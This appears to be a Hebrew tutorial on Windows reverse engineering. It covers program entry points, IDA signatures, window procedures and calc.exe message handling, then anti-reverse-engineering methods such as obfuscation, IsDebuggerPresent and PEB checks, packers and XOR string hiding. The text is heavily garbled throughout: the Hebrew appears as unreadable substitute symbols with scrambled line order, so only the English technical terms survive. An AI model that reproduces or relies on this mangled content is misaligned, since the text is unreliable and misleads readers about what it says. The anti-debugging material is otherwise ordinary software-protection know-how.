WinMainCRTStartup ˢ˷ ˪ˣ˥˸˞ ˸ˮ˧˦ˣ˶ ˫˴˰˟ ˞˧ˢ-Linker ˪˥˸˞˪ ˧ˡ˩ ˢˮ˩ˣ˸˪ ˯˧ˮ˩ˢ  ˢ˧˶˲˯ˢ ˸˞

 ˪˷ ˸˧˦˶ˡˮ˦˯ˢC )C Runtime Library ˫˧ˮ˸˷ˬ ˫˧˪˥˸ˣ˞ˬ ˫˷ ,ˢˬˠˣˡ˪ .˸ˣ˶˥˞ ˸ˣˬ˧˷ˬ ˰˴˟˪ˣ (

ˢ ˧ˮ˲˪ ˸ˣ˴˶˷ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˢ˞˴ˣ˸ˢ ˞ˣˢ ˫ˢ˪˷ ˨˶˰ˢ˷ ˫˧˧˪˟ˣ˪ˠ-main . 

 

-˪IDA  ˫˷˟ ˰ˣˮˬ ˫ˠ ˷˧F.L.I.R.T  ˡˣ˵ ˧˰˦˵ˬ ˣ˞ ˸ˣ˧˦˶ˡˮ˦˯ ˢ˧˶˲˯ ˸ˣ˧˴˵ˮˣ˲ ˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˶˸˞ˬ˷

 ˸˶˧˵˥ ˪˰ ˤ˟ˤ˟˸ˢ˪ ˪ˣ˩˧ ˢ˧ˢ˷ ˭ˬˤ ˢ˟˶ˢ ˨ˣ˯˥˪ ˢ˪ˣ˩˧ ˸˞ˤˢ ˢˮˣ˩˸ˢ .˫˧˶˴ˣ˧ ˫˧˶˩ˣˬ ˫˧˶˪˧˧˲ˬˣ˵˷

.˶ˣ˵˥˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˣ˸ˣ˞˷ ˭˧˧ˮ˰ˬˢ ˧ˬ˸˧˶ˣˠ˪˞ˢ ˭ˣ˧˰˶ˢ ˫˰ ˶˷˵ ˫ˢ˪ ˭˧˞˷ ˫˧˶˟ˡ 

 ˪˷ ˡˣ˵˟ ˢ˦ˬ˪ ˸˴˵ ˪ˣ˪ˠˮ ˫˞WinMain ˞˶ˮ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˢRegisterClassEx  ˠˣ˯ˬ ˶˦ˬ˶˲ ˫˰

WNDCLASS  ˭ˣ˟˷˥ˬˢ ˪˷ ˧˷˞˶ˢ ˧˲˶ˠˢ ˭ˣ˪˥ˢ ˭˞˩ ˪˥˸ˣ˞ˬ˷ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞ .˫˧ˮˣ˷ ˸ˣˡ˷ ˣ˩ˣ˸˟ ˪˧˩ˬ˷

ˢ ˶ˡˠˣˬˣ-Class ˷ ˫ˠ ˸ˣ˞˶˪ ˭˸˧ˮ .ˣ˪˷-IDA ˢ ˶˦ˬ˶˲ ˧˶˥˞ ˢ˟˵˰ˣ ˢˡˣ˟˰ ˣˮ˪ ˢ˩˯˥ ˶˟˩- WNDCLASS 

ˣ˞ˬ ˣ˪˷ ˢˡ˷ ˪˩ ˢ˲˧˞ ˸ˣ˞˶˪ ˪˩ˣˮ˷ ˨˩˪ ˢ˞˧˶˵ˢ ˧ˮ˲˪ ˸˴˵ :˪˥˸-RegisterClassEx ˢ ˢˡ˷- 

lpfnWndProcˢ ˸˧˴˵ˮˣ˲ ˪˷ ˸˟ˣ˸˩ˢ ˸ˣ˧ˢ˪ ˶ˡˠˣˬ-WndProc ˪˷ ˸ˣˮˣ˷ˢ ˸ˣ˰ˡˣˢˢ ˸ˣ˰˧ˠˬ ˢ˧˪˞ ,

 ˭ˣ˟˷˥ˬˢ ˢ˷˰ˬ˪ ˧˩ ˶˸ˣ˧˟ ˧˷ˣˬ˧˷ ˰ˡ˧ˬ ˣˢˤ ˣ˸ˮ˧˥˟ˬ .ˡˣ˰ˣ ˶˟˩˰ ˸ˤˤˢ ,˫˧˶ˣ˸˲˩ ˪˰ ˸ˣ˴˧˥˪ :˯ˣˡˮ˧ˣˣ

ˡ ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˪ˣ˰˲ˢ ˟ˣ˶ ˪˰ ˢ˰ˡˣˢ ˪˟˵ˬ .˸˞ˤˢ ˢ˧˴˵ˮˣ˲ˢ ˨˶ 

  

ˢ]-Main  ˪˷calc.exe  ˯ˣˡˮ˧ˣˣ˟7 ˟ ˢ˞˶ˮ˷ ˧˲˩-IDA[ 
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 ˸˟ˣ˸˩˟ ˞˴ˬˮ˷ ˡˣ˵ˢ ˪˰ ˪˩˸˯ˢ˪ ˶ˣ˟˰ˮ ˫˞

 ˫˷ ˸˰˴˟˸ˬ˷ ˶ˣ˶˧˟˟ ˸ˣ˞˶˪ ˪˩ˣˮ ,˸˞ˤˢ

ˢ ˶˦ˬ˶˲ ˪˷ ˢ˞ˣˣ˷ˢ-Msg  .˫˧ˮˣ˷ ˫˧˰ˣ˟˵˪

 ˸˪˟˵˸ˬ˷ ˢ˰ˡˣˢˢ ˞ˣˢ ˫˧˷˲˥ˬ ˣˮ˥ˮ˞˷ ˢˬ

 ˶ˣ˸˲˩ ˳˥˪ˮ˷˩- WM_COMMAND ˣ˞ ,0x111 

˪ ˢ˵˧ˡ˟ˢ .˧˪ˬ˧˴ˡ˯˵ˢ ˯˧˯˟˟-111h  ˸˥˵ˣ˪

˪ ˣˮ˸ˣ˞- loc_E66389.  ˶ˠˣ˞˟˷ ˶ˣ˩ˤˮesi 

ˢ ˶˦ˬ˶˲ ˭˯˥ˣ˞ˬ-wParam ˢ ˸˞ ˪˧˩ˬ˷-ID 

 .ˢ˞˪ˢ ˨˧˷ˬˮˣ ˳˥˪ˮ˷ ˶ˣ˸˲˩ˢ ˪˷ 

˟ ˡˣ˵ˢ-loc_E66389  ˢˬ ˦˧˪˥ˬ ˫˸˯ˢ ˭ˬ

 ˶ˠˣ˞ˢ ˧˲˪ ˸ˣ˷˰˪si  ˢˬ ˫˧˰ˡˣ˧ ˞˪ ˣˮ˥ˮ˞ ˰ˠ˶˩ ˪˟˞ ,(˳˥˪ˮ˷ ˶ˣ˸˲˩ˢ)si  ˶ˣ˸˲˩ ˪˰ ˳˥˪ˮ˷˩ ˪˧˩˧

 ˫˧˷˪ ˦ˣ˷˲ ˶˸ˣ˧ ˢ˟˶ˢ ˥ˣˮ ,˸˧ˮˡ˧ ˢˤ ˸˞ ˶˶˟˪ ˸ˣ˯ˮ˪ ˫ˣ˵ˬ˟ ."˵˟ˡˢ"ˢBreakpoint ˟- 

loc_E66389 ˸˞ ˸ˣ˞˶˪ ˪˩ˣˮˣ ˶ˣ˴˰˸ ˸˧ˮ˩˸ˢ ,ˢ˩˧˶˰ˢ ˦˧˶˲˸ˬ "˵˟ˡˢ"ˢ ˶ˣ˸˲˩ ˪˰ ˳˥˪ˮ˷˩ .˳˧˶ˢ˪ˣ

 ˪˷ ˭˩ˣ˸ˢsi ˨˧˷ˬˢ˪ˣ .˸˧ˮ˩˸ˢ ˪˷ ˢ˴˧˶ˢ ˧˶˥˞ ˟ˣ˵˰˪ 

 ˰˴˟ˮ ,ˣˮ˶˴˰˷ ˧˶˥˞Single-Step  ˸ˣ˞˶˪ ˪˩ˣˮ .˭˧˧ˮ˰ˬ ˢ˞˶ˮ˷ ˡˣ˵˪ ˣˮ˰ˠˢ ˶˟˩ˣ ˫˧ˬ˰˲ ˶˲˯ˬ ˡˣ˰ ˵˶

 ˫ˠ ˫˩ˣ˸ˬ ,˯ˣˡˮ˧ˣˣ ˪˷ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ ˢ˟˶ˢOpenClipboard x-GetClipboardData ˥ˣ˦˟ ˣˮ˥ˮ˞˷ ˨˩ ,

ˢ ˨ˣ˸ˬ ˣˮ˵˟ˡˢ˷ ˭˩ˣ˸ˢ ˞˶˵ˮ ˭˞˩ :˭ˣ˩ˮˢ ˫ˣ˵ˬ˟-Clipboard ˳˥˪ˮ ˫˞ .Ctrl+V  ˞ˣˢ ˫ˠ˷ ˢ˪ˠˮ ˸ˡ˪˵ˬ˟

˧˟ˣˬ.˫ˣ˵ˬ ˣ˸ˣ˞˪ ˪ 

 ˭ˣ˵˧˧˞˪ ˶˟˩˰ˢ ˭ˬ˯ ˸˞ ˢˮ˷ˬ˷ ˢ˪ˣ˰˲ ˣ˟ ˸ˣˢˤ˪ ˪˩ˣˮ ˢˤˢ ˡˣ˵ˢ ˧˶˥˞ ˟ˣ˵˰˪ ˨˧˷ˬˮ ˫˞IDC_WAIT 

 ˸ˣ˰˴ˬ˞˟ (ˢˮ˧˰˦ ˪ˬ˯)SetCursor ˭˩ˣ˸˪ ˰˧˟˴ˬ ˶˟˰ˣˬ ˢ˪˷) ˸ˬ˧ˣ˯ˬ ˸˧ˬ˧ˮ˲ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ,

˪ ˢ˞˧˶˵ ˟ˣ˷ ˭˩ˬ ˶˥˞˪ˣ (ˣˮ˵˟ˡˢ˷-SetCursor.˪˧ˠ˶ˢ ˟˴ˬ˪ ˶˟˩˰ˢ ˭ˬ˯ ˸˞ ˢ˶˧ˤ˥ˬ˷ ,  ˷˥ˮ˪ ˪˵

 ˣ˸ˣ˞ ˸˞ ˢˮ˧˟ˬˣ ˸˶˯˶˲ˬ˷ ˸˧˸˧ˬ˞ˢ ˢ˧˴˵ˮˣ˲ˢ ˞˧ˢ ˣˮ˵˟ˡˢ˷ ˢˬ ˸˞ ˸˪˟˵ˬ˷ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞˷

.˸ˮ˧˧ˮ˰ˬˢ ˢ˵˧ˠˣ˪ˢ ˸˞ ˪˧˩ˬ˷ ˶˴˵ ˞˪ ˡˣ˵ ˪˟˵ˮˣ ˢ˧˪˞ ˯ˮ˩ˮ .˦˯˵˦  

 

 

  

]ˢ ˪˷ ˸ˣˮˣ˷˞˶ˢ ˸ˣ˶ˣ˷ˢ-Window Procedure )WndProc([ 
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ˢ ˪˰ ˣ˸ ˧˶˥˞ ˣ˸ ˸˶˟ˣ˰˷ ˢ˞˪ˣ˪ ˭˞˩ ˷˧˷ ˸ˣˢˤ˪ ˶˷˲˞ ˶˟˩-String  ˸˶ˤ˰˟ ,ˣˮ˵˟ˡˢ˷

CharNext ˢ˞˪ˣ˪ˢ ˸˞ ˸ˬ˧˧˯ˬˣ ˭ˣ˶˥˞ˢ ˣ˸˪ ˰˧˟˴ˬ ˫ˠ ˶˦ˬ˶˲˩ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ .

 .ˣ˧˪˞ ˢ˰˧ˠˬ ˞˧ˢ˷˩ 

ˢ ˧˩˶˰˪ ˢˣˣ˷ˣˬ ˧˥˩ˣˮˢ ˣ˸ˢ ,ˢ˧˴˶˦˧˞ ˪˩˟-ASCII ) ˢ˷ˡ˥ ˢ˶ˣ˷ ˫˧ˮˬ˯ˬ˷ ˫˧ˣˣ˸ˢ ˪˷'\ r', 

'\n' ˵˧˯ˢ˪ ˶˷˲˞ .ˡˣ˟˧˰ ˧˪˟ ˢ˞˟ˢ ˢ˧˴˶˦˧˞˪ ˠˣ˪˧ˡ ˷˧ ,ˢˬ˞˸ˢ ˷˧ˣ ˢˡ˧ˬ˟ .(' ') ˥ˣˣ˶ˣ (

˟ ˭ˣ˟˷˥ˬˢ˷ ˨˩ˬˣˬ˩ ˦˯˵˦ ˣ˩ˣ˸˪ ˵˧˟ˡˮ ˫˞ :ˣ˪˞ˢ ˫˧ˣˣ˸ˢ ˪˩ˬ ˫˪˰˸ˬ ˫˴˰ "1 2 "

" ˫˧˵˧˟ˡˬ ˣˮ˧˧ˢ ˫˞ ˢ˶ˣ˴ ˢ˸ˣ˞˟ ˵ˣ˧ˡ˟ ˸˞ˤ ˭˧˟˧ ˭ˣ˟˷˥ˬˢ21 ˪˰ ˠ˪ˡˬ ˭ˣ˟˷˥ˬˢ ,˱˯ˣˮ˟ ."

 ˵˧˯˲˪ ˢˣˣ˷ ˞ˣˢ ˫˞ ˧˥˩ˣˮˢ ˣ˸ˢ-  ˵˧˟ˡˮ ˫˞ ˫ˠ ˭˩˪) .˸ˣ˶˲˯ ˡ˧˶˲ˬ ˶ˣ˸˟ ˷ˬ˷˪ ˶ˣˬ˞˷

" ˣˬ˩ ˦˯˵˦100,00,0,6,9(˭ˣ˩ˮ ˠ˴ˣ˧ ˞ˣˢ " 

˞˪ ˶˷˲˞ ,ˢ˧˪˰ ˶˟˰ˬ ˶˥˞˪˷ ,˸˶˥˞ ˸˧ˬ˧ˮ˲ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˸˰˴˟˸ˬ ˶˥˞ ˧˞ˮ˸ ˶˥

ˣˡˣ˯˲˪ ˢ˸ˣ˞ ˫ˠ˶˸˪-:ˢ˷ˣ˰ ˞˧ˢ ˢˬ ˢ˶ˣ˶˟ ˢ˶ˣ˴˟ ˶˧˟˯ˬ˷ ˡˣ˵  

.ˣˮ˵˟ˡˢ˷ ˭˩ˣ˸ˢ ˪˷ ˸ˣ˰ˬ˷ˬˢ ˸˞ ˞ˡˣˣˬ ˭ˣ˟˷˥ˬˢ ˢ˷˰ˬ˪ ˨˩ 

˭ˣ˧˰˶ˢ ˣˢˤ ˪˟˞ ˸˴˵ ˡˣ˰ ˥˸˲˸ˬ ˡˣ˵ˢ ˨˷ˬˢ˟;  ˫˧ˬ˧˞˸ˬ ˫˧˪˩ ˸˶ˤ˰˟ˣ ˸˧˯˥˧ ˸ˣ˪˵˟

 ˪˰ ˸ˣ˷˵ˢ˪ ˞˧ˢ ˨˷ˬˢ˟ ˣˠ˴ˣ˧˷ ˸ˣ˵˧ˮ˩˦ˢ ˪˷ ˢ˶˦ˬˢ .˸˧ˮ˩˸ ˪˩ ˪˷ ˡˣ˵ ˥˸ˮ˪ ˶˷˲˞

.ˢˮˣˣ˩˟ ˪˩ˢ ˫˧˩˟˯ˬ˷ ˫˧ˮˣ˷ ˫˧˵˧˶˦ ˸˶ˤ˰˟ ˸˞ˤ˩ ˢ˶ˣ˴˟ ˡˣ˵ ˶ˣ˵˥˪ ˫ˡ˞ ˧ˮ˟ 

  ]˦˟ˬ ˪˰ ˪˷ ˢ˧˴˵ˮˣ˲ˢ .˫˧ˣˣ˵ˢ 

˫˧ˠ˴˧˧ˬ ˸ˣ˴˧˲˵ ˡˣ˵˟) .˪ˣ˥˩  =˞˪ 
ˢˮ˸ˣˬ ,˵ˣ˶˧  =˧˞ˮ˸ˢ ˫˧˧˵˸ˬ ,
˫ˣˡ˞  =˧˞ˮ˸ˢ ˞˪ ˫˧˧˵˸ˬ([ 
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˪ ˞ˣ˟ˬ-Anti Reverse Engineering 

˟ ˷ˬ˸˷ˬ ˧ˬ-Anti Reverse Engineering ˫˧˴˲ˣˬ ˸ˣ˪ˣˡˠ ˸ˣ˶˟˥ ˪˷ ˫˧˵˥˷ˬ ˣ˞ ˸ˣˮ˩ˣ˸ ,˪˩ ˫ˡˣ˵ ?

 ˸ˣ˞˯˶ˠ˟ ˫˧˸˰˪Trial  ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˸˞ ˸ˣ˪˪ˣ˩ ˢ˷˰ˬ˪ ˪˟˞ ,˪˟ˠˣˬ ˭ˬˤ˪ ˭ˢ˟ ˷ˣˬ˧˷ˢ ˸˞ ˸ˣ˪˧˟ˠˬ˷

 ˢˮ˩ˣ˸ˢ ˪˷ ˢ˞˪ˬˢ- ˟ ˸ˣ˵˧ˡ˟ˢ ˸˞ ˸ˣ˷˵ˢ˪ ˨˶ˣ˴ ˷˧ ˭˩˪ ˞˧˟˥ˢ˪ ˫˧˴ˣ˶˷˩ ˫˧˧˵ ˨˶ˣ˴ ˣ˸ˣ˞ .ˢˮ˩ˣ˸

˧ˡˣ˯ ˫˸˧˶ˣˠ˪˞\ ˡ˰ ˫ˬ˴˰ ˸˞ ˞˧˟˥ˢ˪ ˫˧˴ˣ˶ ˡ˧ˬ˸ ˸ˣ˧ˮˣˡˤ ˸ˣˮ˩ˣ˸ˣ ˫˧˯ˣ˶˧ˣˣ ˧˶˴ˣ˧ ,˱˯ˣˮ˟ .ˢˬˣˡ˩ˣ ˧˶˥˯ˬ

 ˶˷˲˞˷ ˢˬ˩- .ˢˤˢ ˫ˣ˥˸˟ ˡˣ˞ˬ ˸ˣ˴ˣ˲ˮ ˣ˪˞˩ ˸ˣ˵˧ˮ˩˦ ˭˩˪ .˫ˢ˪˷ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˡ˥ˣ˧ˬ˟ 

 ˡˠˮ ˸ˣ˵˧ˮ˩˦ˢ ˪˩ ˸˞ ˵˪˥˪ ˶˷˲˞Reversing ˧ˠˣ˯ ˧ˮ˷˪:˫ 

Obfuscation -  ˸˯ˮ˩ˢ :˫ˡ˞ ˧ˮ˟˪ ˭˟ˣˬˣ ˞˧˶˵ ˸ˣ˥˲˷ ˢˬ˩˪ ˡˣ˵ ˸˩˧˲ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˞˧ˢ ,ˡˣ˵ˢ "˪ˣ˟˶˰"

 ˢ˶˦ˬˢ ˧˪˪˩ ˭˲ˣ˞˟ .ˡˣ˰ˣ ˸ˣ˶ˣ˩ˬ ˞˪ ˣ˞ ˸ˣ˧˲ˣ˪˥ ˸ˣˡˣ˵˲˟ ˷ˣˬ˧˷ ,ˢ˵˧ˠˣ˪ ˪˷ ˸ˣ˟˩˷ ˸˲˯ˣˢ ,˶˸ˣ˧ˬ ˡˣ˵

ˣ˧˰˶ˢ ˢˬ ˭˧˟ˢ˪ ˢ˧ˢ˧ ˶˷˲˞ ˧˞˷ ˧ˡ˩ ˧˦˞˦˯ ˭˲ˣ˞˟ ˡˣ˵ˢ ˸˞ ˶˸ˣ˧˷ ˢˬ˩ ˨˟˯˪ ˞˧ˢ ˦ˣ˷˲ˢ ˧ˬ˸˧˶ˣˠ˪˞ˢ ˭

.ˣ˧˶ˣ˥˞ˬ˷ 

Anti Debugging  ˞˧ˢ ˭ˢ˪˷ ˢ˶˦ˬˢˣ ,(˸˧ˬ˞ˮ˧ˡ ˢ˶ˣ˴˟) ˢ˴˧˶ ˭ˬˤ˟ ˸ˣ˷˥˶˸ˬ˷ ˸ˣ˪ˣ˰˲˪ ˶˸ˣ˧ ˯˥˧˧˸ˬ

 ˫˧ˮˬ˧˯ ˪˷ ˸ˣ˵˧ˡ˟ ˫ˠ ˸ˣ˪˪ˣ˩ ˣ˪˞˩ ˸ˣ˪ˣ˰˲ .ˢˮ˩ˣ˸˟ ˭ˠˣˢ ˞˪ ˷ˣˬ˧˷ˣ ˫˧˶ˠ˞˟˧ˡ ,ˢ˶˧˵˥ ˸ˣˮˣ˧˯ˮ ˸ˣˢˤ˪

.˫˧ˣ˯ˬ ˠˣ˯ˬ ˫˧˪˩ ˫˧˶˧ˠ˯ˬ˷ ˫˧ˮˣ˷ 

 ˫˧ˬ˧˧˵Packer-˫˧ x-Obfuscator- ˭ˣ˸ˮ ˡˣ˵ ˪˰ ˢˤˢ ˠˣ˯ˢˬ ˸ˣ˵˧ˮ˩˦ ˫˧˰˴˟ˬ˷ (˫˧˧˶˥˯ˬ ˫˵˪˥) ˫˧ˮˣ˷ ˫˧

 ˢ˧˰˟ˢ .˸˧ˮˡ˧ˢ ˢˡˣ˟˰ˢ ˸˞ ˫˧˸ˮ˩˸ˬˢˬ ˨ˣ˯˥˪ ˧ˡ˩ ˣ˸ˣ˞ ˫˧˞˧˟˥ˬˣ "˫˧˲˦ˣ˰" ˫˴˰˟ˣ ˸˧˦ˬˣ˦ˣ˞ ˢ˶ˣ˴˟

˷ ˪˩˩˷ ˞˧ˢ-Packer- ˫˧˟˸˩ˮˣ ˫ˢ˪˷ ˢˡˣ˟˰ˢ ˨˶ˡ˪ ˫˧˰ˡˣˬ ˫˧˷ˮ˞ ˶˸ˣ˧ ˨˩ ,˶˸ˣ˧ ˫˧˶˩ˣˬ ˫˧˷˰ˮ ˣ˪˞˩ ˫˧

Un-Packers x-De-Obfuscators .˶˟˩˰ˣ ˪ˣ˸˥ ˪˷ ˵˥˷ˬ ˫˴˰˟ ˣˢˤ .˭˸˧ˮ˷ ˢˬ ˸˞ ˥ˮ˰˲˪ ˫˧˯ˮˬ˷ 

˨˞  ˧ˮ˲ˬ ˢˮ˩ˣ˸ ˪˷ ˸˧˸˧ˬ˞ ˢˮˠˢ˷ ˷˧ˠˡˢ˪ ˟ˣ˷˥ ,˫˧˦˶˲˪ ˯ˮ˩ˢ˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪Reversing  ˸˟˷˥ˮ

 ˣ˞ ˨˪˷ ˢˮ˲˴ˢˢ ˫˸˧˶ˣˠ˪˞ ˵ˤ˥ ˢˬ˩ ˢˮ˷ˬ ˞˪ ,˶˟ˡ ˪˷ ˣ˲ˣ˯˟ .˸˧˶˷˲˞ ˧˸˪˟ ˞˪ ˫˞ ,˶˸ˣ˧˟ ˢ˷˵˪

˧˯ ˢˬ˩ ˶˵ˣ˥ .ˣ˧˪˞ ˰˧ˠˢ˪ ˶˷˲˞ ˢ˧ˢ˧ˣ ˳ˣ˶˧ ˨˪˷ ˧˸˧ˬ˞ˢ ˡˣ˵ˢ ˶˥ˣ˞ˬ˟ ˣ˞ ˫ˡ˵ˣˬ˟ ,˨˶ˡ˟ ˷˧ ˫˧˩ˣ˟

 .˨˪˷ ˫˧˵˧˶˦ˢ ˪˩ ˸˞ ˱ˣ˵˰˪ ˥˧˪˴˧ ˡ˧ˬ˸ ˵˧˲˯ˬ ˷ˣ˥ˮˣ ˢ˯ˣˮˬ ˪˷ ˢˮˠˢ ˭˧˞100%  ˡˠˮReverse 

Engineering. 
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˸ˣ˴ˣ˲ˮ ˸ˣ˵˧ˮ˩˦ 

IsDebuggerPresent 

 ˰˴˟˪ ˸˧˯˞˪˵ˣ ˸˶˩ˣˬ ,ˢ˦ˣ˷˲ ˧˩ˢ ˢ˵˧ˮ˩˦ˢAnti Debugging  ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˞˧ˢ ˯ˣˡˮ˧ˣˣ˟

IsDebuggerPresent  ˨ˣ˸ˬ ˯ˣˡˮ˧ˣˣ ˣˮ˪ ˵˲˯ˬ˷kernel32.dll ˦ˣ˷˲ ˢ˧˴˵ˮˣ˲ˢ ,˫˷ˢˬ ˭˧˟ˢ˪ ˶˷˲˞˷ ˣˬ˩ .

 ˢ˶˧ˤ˥ˬtrue  ˸˰ˡˣˢ ˠ˧˴ˢ˪ ˪˩ˣˮ ˶ˠ˞˟˧ˡ ˢˢˤˮ˷ ˰ˠ˶˟ .˧˥˩ˣˮˢ ˨˧˪ˢ˸˪ ˰ˠ˶˩ ˶˟ˣ˥ˬ ˶ˠ˞˟˧ˡ ˶˷˞˩

ˢ ˨˧˞ .ˣˮ˥ˣ˶ ˪˰ ˢ˪ˣ˰˷ ˶˥˞ ˶˟ˡ ˪˩ ˣ˞ ˢ˞˧ˠ˷˟ ˢ˸ˣ˞ ˥˸˲ˮ ˫˞ ?˸ˡ˟ˣ˰ ˸˞ˤˢ ˢ˧˴˵ˮˣ˲-IDA  ˢ˪ˠˮ

:ˢ˦ˣ˷˲ ˧ˡ ˢ˟ˣ˷˸ˢ˷ 

 

˫˷˟ ˡ˥ˣ˧ˬ ˢˮ˟ˬ ˨ˣ˸˟ ˫˧ˣ˯ˬ ˨˶˰ ˢ˶˧ˤ˥ˬ ˫˴˰˟ ˢ˧˴˵ˮˣ˲ˢProcess Environment Block )PEB .(

 ˭ˣ˶˩˧ˤ˟ ˧ˡˣ˰˧˧ ˶ˣˤ˞˟ ˫˵ˣˬˬ ˪˟˞ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˧ˬ˧ˮ˲ ˷ˣˬ˧˷˪ ˶ˣˬ˷ ˪˪˩ ˨˶ˡ˟ ˢˤˢ ˢˮ˟ˬˢ

 ˶ˠˣ˞ˢ ˸˶ˤ˰˟ ˸ˣ˪˵˟ ˣ˧˪˞ ˸˷ˠ˪ ˶˷˲˞˷FS ˢˮ˸˷ˬ ˨˶˰ ˣ˸ˣ˞ ,˫˧ˣ˯ˬ ˨˧˪ˢ˸˪ ˶˟˥˸ˬ ˶ˠ˞˟˧ˡ˷ ˰ˠ˶˟ .

-ˬ0 ˪-1˪ ˢ˶ˤ˥˟ ˨˶˰ ˣ˸ˣ˞ ˸˞ ˸ˣˮ˷˪ ˶˷˲˞˷ ˨˩ ˡ˟˪˟ ˧ˠˣ˴˧˧ ˨˶ˣ˴˪ ˢ˷˰ˮ ˢˤˢ ˧ˣˮ˧˷ˢ ,˪˟˞ .-0  ˫˞

 ˸˞ ˱ˣ˵˰˪ ˨˩˟ˣ ˫˧˴ˣ˶IsDebuggerPresent. 

˪˟ˤ ˡˣ˵ 

 ˢ˷ˣ˰ ˞˪˷ ˧˶ˬˠ˪ ˶˸ˣ˧ˬ ˡˣ˵ ˸˯ˮ˩ˢ ˞˧ˢ ˱˵ˣ˸ˢ ˸˞ ˪˟˪˟˪ ˸ˣ˶ˤˣ˰˷ ˶˸ˣ˧˟ ˸ˣ˪˧˰˧ˢ ˸ˣ˵˧ˮ˩˦ˢˬ ˸˥˞

 ˸˶ˤ˰˟ ˸˞ˤ ˸ˣ˷˰˪ ˶˷˲˞ .ˡˣ˵˟ ˫˧˧ˠ˦˶˦˯˞ ˸ˣˬˣ˵ˬ˟ ,˪˧˰ˣˬ ˶˟ˡ ˫ˣ˷Inline Assembly  ˸˲˷˟C/C++: 

 

 ˡˣ˵ ˣ˸ˣ˞˷ ˶ˣ˯˞˷ ˟˪ ˫˧˷˪ ˷˧ ˪˷ ˢ˪˧ˠ˶ˢ ˢ˴˧˶˪ ˣ˰˧˶˲˧˷ ˸˞ˤ˩ ˢ˶ˣ˴˟ ˫˧˶ˠˣ˞ ˪˷ ˫˧˩˶˰ ˢˮ˷˧

 ˡ˴ˬ) .˭˩ˬ ˶˥˞˪ ˣ˪˷ ˧˶ˣ˵ˬˢ ˨˶˰ˢ ˸˞ ˶ˤ˥˷ˮ ˫ˠ ˪˪˩ ˨˶ˡ˟ ˫˧ˣ˯ˬ ˶ˠˣ˞ ˸ˣˮ˷˪ ˢ˴˶ˮ ˫˞ ,˭˩˪ .˸˧ˮ˩˸ˢ

(˪˟ˤˢ ˡˣ˵ ˸˞ ˶ˢˬ ˡˣ˞ˬ ˫˧˶˧ˠ˯ˬ ˸˞ˤ˩ ˢ˶ˣ˴˟ ˫˧˩˶˰ ˪˷ ˶ˣˤ˥˷ˣ ˢ˶˧ˬ˷ ˣˬ˩ ˫˧˩˪ˢˬ ,˧ˮ˷ 
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 ˸ˮ˲˴ˢString-˫˧ 

String- ˫˧ˤˬ˶ ˫˧ˮ˸ˣˮ ˪˪˩ ˨˶ˡ˟ ˫ˢ˷ ˫ˣ˷ˬ ˫˧˶˵ˣ˥ ˪˧˟˷˟ ˫˧˧˷ˣˬ˧˷ ˧˩ˢ ˫˧˶˟ˡˢ ˡ˥˞ ˫ˢ ˫˧

 ˷ˬ˸˷ˬ˪ ˸ˣˠ˴ˣˬ˷ ˸ˣˮˣ˷ ˦˯˵˦ ˸ˣ˰ˡˣˢ ˧˶˥˞ ˷˲˥˪ ˶˷˲˞ ,ˢˬˠˣˡ˪ .˫ˢ˪˷ ˷ˣˬ˧˷ˢ ˧˟ˠ˪ ˫˧˧˸ˣ˰ˬ˷ˬ

 ˪˷ˬ˪)"Incorrect", "Correct" ˣˬ˩ ˫˧˪˩ .˫˧˧˦ˮˣˣ˪˶ ˡˣ˵ ˧˰˦˵˪ ˰˧ˠˢ˪ ˨˩˟ˣ (IDA  ˡˣ˵ˢ ˸˞ ˵ˣ˶˯˪ ˫˧˰ˡˣ˧

˟˪ ˸ˣ˧ˣ˯˥˧˧˸ˢ ˧˶˥˞ ˷ˣ˲˧˥-String-) ˢ˪˞ˢ ˫˧Cross-References ˶˸ˣ˧ ˢ˟˶ˢ ˸˧˷˰ˮ ˶˵ˣ˥ˢ ˸ˡˣ˟˰ ˨˩ˣ (

.ˢ˪˵ 

 ˢ˶ˣ˴˟ ˸ˣ˶˸˯ˣˬ ˣ˞ ˸ˣˮ˲˴ˣˬ ˭ˢ ˶˷˞˩ ˳˟ˣ˵ˢ ˨ˣ˸˟ ˸ˣˤˣ˶˥ˬˢ ˸˞ ˶ˣˬ˷˪ ˞˧ˢ ˸˧˶˞˪ˣ˲ˣ˲ ˢ˵˧ˮ˩˦ ,˭˩˪

ˢ ˸˞ ˶ˣ˵˥˪ ˶˷˲˞ ˧˞ ˨˩ .˭ˢ˟ ˫˧˷ˬ˸˷ˬ˷ ˧ˮ˲˪ ˢ˴˧˶ ˭ˬˤ˟ ˭˸ˣ˞ ˥ˮ˰˲˪ ˤ˞ˣ ,˞˧ˢ˷˪˩ ˭˲ˣ˞˟ ˢˮ˩ˣ˸

 .˭ˢ˪˷ ˧˶ˣ˵ˬˢ ˭˩ˣ˸ˢ ˢ˧ˢ ˢˬ ˸ˣ˞˶˪ ˧ˡ˩ ˸ˣˤˣ˶˥ˬˢ ˸˞ ˥ˮ˰˲˪ ˢ˪ ˸˸˪ˣ ˢ˸ˣ˞ ˳˧˶ˢ˪ ˫˧˟˧˧˥ˣ ˧˦˞˦˯

 ˣˬ˩ ,ˢ˦ˣ˷˲ ˧ˡ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˫ˠ ˞˧ˢ) ˡ˥ˣ˧ˬ˟ ˸˟˩˶ˣˬ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˞˪ ˢ˶˸˯ˢˢ ˸˵˧ˮ˩˦XOR (-  ˢˬ

